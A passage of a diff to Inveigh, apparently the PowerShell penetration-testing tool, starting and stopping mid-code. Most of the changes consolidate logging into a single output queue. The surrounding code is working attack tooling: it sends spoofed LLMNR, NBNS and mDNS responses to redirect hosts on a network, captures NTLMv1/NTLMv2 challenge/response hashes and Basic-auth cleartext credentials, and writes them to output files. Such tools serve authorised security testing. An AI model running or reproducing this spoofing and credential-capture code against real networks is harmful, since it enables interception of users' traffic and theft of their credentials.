$HTTP_source_IP`:`n$HTTP_header_user_agent") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") > $null if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") > $null } } @@ -1829,21 +1934,9 @@ $HTTP_scriptblock = if($HTTP_POST_request_old -ne $HTTP_POST_request) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") - $inveigh.POST_request_file_queue.Add($HTTP_POST_request) - $inveigh.POST_request_list.Add($HTTP_POST_request) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type POST request written to " + $inveigh.POST_request_out_file) - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") - } - + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") > $null + $inveigh.POST_request_file_queue.Add($HTTP_POST_request) > $null + $inveigh.POST_request_list.Add($HTTP_POST_request) > $null } $HTTP_POST_request_old = $HTTP_POST_request @@ -1893,36 +1986,26 @@ $HTTP_scriptblock = if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) > $null if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") > $null } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) { $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") > $null } } @@ -1936,36 +2019,26 @@ $HTTP_scriptblock = if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) > $null if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") > $null } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) { $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null } if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") > $null } } @@ -1974,7 +2047,7 @@ $HTTP_scriptblock = if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) { - $inveigh.IP_capture_list.Add($HTTP_source_IP) + $inveigh.IP_capture_list.Add($HTTP_source_IP) > $null } $HTTP_response_status_code = 0x32,0x30,0x30 @@ -2010,19 +2083,13 @@ $HTTP_scriptblock = $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) $HTTP_client_close = $true - $inveigh.cleartext_file_queue.Add($cleartext_credentials) - $inveigh.cleartext_list.Add($cleartext_credentials) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") + $inveigh.cleartext_file_queue.Add($cleartext_credentials) > $null + $inveigh.cleartext_list.Add($cleartext_credentials) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") > $null if($inveigh.file_output) { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) > $null } } @@ -2189,7 +2256,9 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, + param ($DNSHostsIgnore,$DNSThreshold,$DNSTTL,$Evade,$IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS, + $mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB, + $SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval) $sniffer_running = $true @@ -2210,19 +2279,8 @@ $sniffer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting sniffer/spoofer") > $null $sniffer_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") - } - } $sniffer_socket.Bind($end_point) @@ -2364,6 +2422,7 @@ $sniffer_scriptblock = if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') { $UDP_length[0] += 12 + $NBNS_response_type = "[+]" $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + $NBNS_TTL_bytes + @@ -2491,19 +2550,8 @@ $sniffer_scriptblock = $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) $NBNS_UDP_client.Close() - $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) - } - + $NBNS_learning_log.Add("$(Get-Date -format s) $NBNS_transaction_ID $NBNS_query_string") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS request $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) > $null } } @@ -2522,7 +2570,19 @@ $sniffer_scriptblock = $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) $NBNS_send_socket.Close() - $NBNS_response_message = "- response sent" + $NBNS_response_message = "[spoofed response sent]" + + if($inveigh.requested_host_IP_list -NotContains "$source_IP $NBNS_query_string") + { + $inveigh.requested_host_IP_list.Add("$source_IP $NBNS_query_string") > $null + $inveigh.requested_host_list.Add($NBNS_query_string.ToLower()) > $null + } + + if($inveigh.DNS) + { + DNSCheck $SpooferIP $DNSHostsIgnore $DNSThreshold $DNSTTL + } + } else { @@ -2537,73 +2597,17 @@ $sniffer_scriptblock = { $NBNS_request_ignore = $true } - elseif($NBNSTypes -notcontains $NBNS_query_type) - { - $NBNS_response_message = "- disabled NBNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - elseif($NBNS_query_string.Trim() -eq '*') - { - $NBNS_response_message = "- NBSTAT request" - } - elseif($inveigh.valid_host_list -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is a valid host" - } - elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) - { - $NBNS_response_message = "- previous capture from $source_IP" - } - elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) - { - $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" - } - elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) - { - $NBNS_response_message = "- local request" - } - elseif($destination_IP.IPAddressToString -eq $IP) - { - $NBNS_response_message = "- ResponderGuard detected and ignored" - } - else - { - $NBNS_response_message = "- something went wrong" - } - + + $NBNS_response_message = SpooferResponseMessage -query_string $NBNS_query_string -mDNS_type "" + $NBNS_response_type = $NBNS_response_message[0] + $NBNS_response_message = $NBNS_response_message[1] } } if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') { - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - } - + $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null } elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { @@ -2613,19 +2617,8 @@ $sniffer_scriptblock = if($inveigh.valid_host_list -notcontains $NBNS_query_string) { - $inveigh.valid_host_list.Add($NBNS_query_string) - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") - } - + $inveigh.valid_host_list.Add($NBNS_query_string) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [$NBNS_query_string added to valid host list]") > $null } } @@ -2643,6 +2636,7 @@ $sniffer_scriptblock = $mDNS_query_payload_bytes = $payload_bytes[(12)..($payload_bytes.Length - 5)] $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes $mDNS_query_string_full = $mDNS_query_string + ".local" + $mDNS_response_type = "[+]" $mDNS_response_data = $mDNS_query_payload_bytes + 0x00,0x01,0x00,0x01 + @@ -2670,52 +2664,18 @@ $sniffer_scriptblock = $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) $send_socket.SendTo($mDNS_response_packet,$destination_point) $send_socket.Close() - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[spoofed response sent]" } else { - - if($mDNSTypes -notcontains 'QU') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - else - { - $mDNS_response_message = "- not spoofed due to previous capture" - } - + $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QU" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } elseif([System.BitConverter]::ToString($payload_bytes) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') { @@ -2723,6 +2683,7 @@ $sniffer_scriptblock = $mDNS_query_payload_bytes = $payload_bytes[12..($payload_bytes[12] + 12)] $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes $mDNS_query_string_full = $mDNS_query_string + ".local" + $mDNS_response_type = "[+]" $mDNS_response_data = $mDNS_query_payload_bytes + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + @@ -2752,52 +2713,18 @@ $sniffer_scriptblock = $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) $send_socket.SendTo($mDNS_response_packet,$destination_point) $send_socket.Close() - $mDNS_response_message = "- response sent" + $mDNS_response_message = "[spoofed response sent]" } else { - - if($mDNSTypes -notcontains 'QM') - { - $mDNS_response_message = "- disabled mDNS type" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) - { - $mDNS_response_message = "- $mDNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $mDNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $mDNS_response_message = "- $source_IP is on ignore list" - } - else - { - $mDNS_response_message = "- not spoofed due to previous capture" - } - + $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QM" + $mDNS_response_type = $mDNS_response_message[0] + $mDNS_response_message = $mDNS_response_message[1] } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") - } - + $inveigh.output_queue.Add("$($mDNS_response_message[0]) [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $($mDNS_response_message[1])") > $null } } @@ -2809,6 +2736,7 @@ $sniffer_scriptblock = { $UDP_length[0] += $payload_bytes.Length - 2 $LLMNR_response_data = $payload_bytes[12..$payload_bytes.Length] + $LLMNR_response_type = "[+]" $LLMNR_response_data += $LLMNR_response_data + $LLMNR_TTL_bytes + @@ -2883,19 +2811,8 @@ $sniffer_scriptblock = $LLMNR_UDP_client.Connect($LLMNR_learning_destination_endpoint) $LLMNR_UDP_client.Send($LLMNR_request_packet,$LLMNR_request_packet.Length) $LLMNR_UDP_client.Close() - $LLMNR_learning_log.Add("$(Get-Date -format 's') $LLMNR_transaction_ID $LLMNR_query_string") - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string sent to 224.0.0.252") - } - + $LLMNR_learning_log.Add("$(Get-Date -format s) $LLMNR_transaction_ID $LLMNR_query_string") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] LLMNR request $LLMNR_query_string sent to 224.0.0.252") > $null } } @@ -2914,7 +2831,19 @@ $sniffer_scriptblock = $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) $LLMNR_send_socket.Close() - $LLMNR_response_message = "- response sent" + $LLMNR_response_message = "[spoofed response sent]" + + if($inveigh.requested_host_IP_list -notcontains "$source_IP $LLMNR_query_string") + { + $inveigh.requested_host_IP_list.Add("$source_IP $LLMNR_query_string") > $null + $inveigh.requested_host_list.Add($LLMNR_query_string.ToLower()) > $null + } + + if($inveigh.DNS) + { + DNSCheck $SpooferIP $DNSHostsIgnore $DNSThreshold $DNSTTL + } + } else { @@ -2924,62 +2853,16 @@ $sniffer_scriptblock = } else { - - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - elseif($inveigh.valid_host_list -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is a valid host" - } - elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) - { - $LLMNR_response_message = "- previous capture from $source_IP" - } - elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) - { - $LLMNR_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" - } - elseif($destination_IP.IPAddressToString -eq $IP) - { - $LLMNR_response_message = "- ResponderGuard detected and ignored" - } - else - { - $LLMNR_response_message = "- something went wrong" - } - + $LLMNR_response_message = SpooferResponseMessage -query_string $LLMNR_query_string -mDNS_type "" + $LLMNR_response_type = $LLMNR_response_message[0] + $LLMNR_response_message = $LLMNR_response_message[1] } } if(!$LLMNR_request_ignore) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - } - + $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null } } @@ -3016,19 +2899,8 @@ $sniffer_scriptblock = if($inveigh.valid_host_list -notcontains $LLMNR_query_string) { - $inveigh.valid_host_list.Add($LLMNR_query_string) - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - LLMNR response $LLMNR_response_IP for $LLMNR_query_string received from $source_IP - $LLMNR_query_string added to valid host list") - } - + $inveigh.valid_host_list.Add($LLMNR_query_string) > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [$LLMNR_query_string added to valid host list]") > $null } } @@ -3062,19 +2934,8 @@ $LLMNR_spoofer_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting LLMNR spoofer") > $null $LLMNR_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting LLMNR spoofer") - } - } $LLMNR_multicast_group = [IPAddress]"224.0.0.252" @@ -3112,6 +2973,7 @@ $LLMNR_spoofer_scriptblock = $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + $LLMNR_response_type = "[+]" if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( @@ -3125,56 +2987,28 @@ $LLMNR_spoofer_scriptblock = $LLMNR_multicast_group = [IPAddress]"224.0.0.252" $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - $LLMNR_response_message = "- response sent" - } - else - { + $LLMNR_response_message = "[spoofed response sent]" - if($Inspect) - { - $LLMNR_response_message = "- inspect only" - } - elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + if($inveigh.requested_host_IP_list -notcontains "$source_IP $LLMNR_query_string") { - $LLMNR_response_message = "- $source_IP 